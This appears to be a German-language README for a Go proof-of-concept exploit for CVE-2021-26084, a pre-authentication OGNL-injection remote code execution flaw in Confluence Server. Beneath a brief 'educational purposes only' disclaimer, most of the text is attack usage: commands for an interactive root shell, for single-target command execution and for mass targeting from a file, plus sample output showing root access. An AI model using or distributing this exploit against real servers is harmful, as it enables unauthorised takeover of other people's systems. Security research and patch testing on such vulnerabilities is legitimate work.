CVE-2021-26084

Proof of Concept für CVE-2021-26084.

Confluence Server Webwork OGNL-Injection (Pre-Auth RCE)

Haftungsausschluss

Dies dient ausschließlich zu Bildungszwecken. Ich bin nicht für deine Handlungen verantwortlich. Nutzung auf eigene Gefahr.

Befehlseinschränkungen

Aufgrund des Payloads ist es nicht möglich, einige Zeichen zu übergeben. Die folgende Liste enthält, was ich während meiner Tests gefunden habe.

• Doppelte Anführungszeichen "
• Senkrechter Strich |

Interaktive Shell

 go run exploit.go -t <target> -i

Beispiel

root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Made by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye

• Funktioniert nur für ein einzelnes Ziel
• Tippe exit ein, um die interaktive Shell zu beenden
• Der Hinweis zeigt, ob es sich möglicherweise um eine Windows-Maschine handelt

Einzelnes Ziel

go run exploit.go -t <target> -c <command>

Mehrere Ziele

go run exploit.go -f <file> -c <command>

Kompilieren

go mod download
go build exploit.go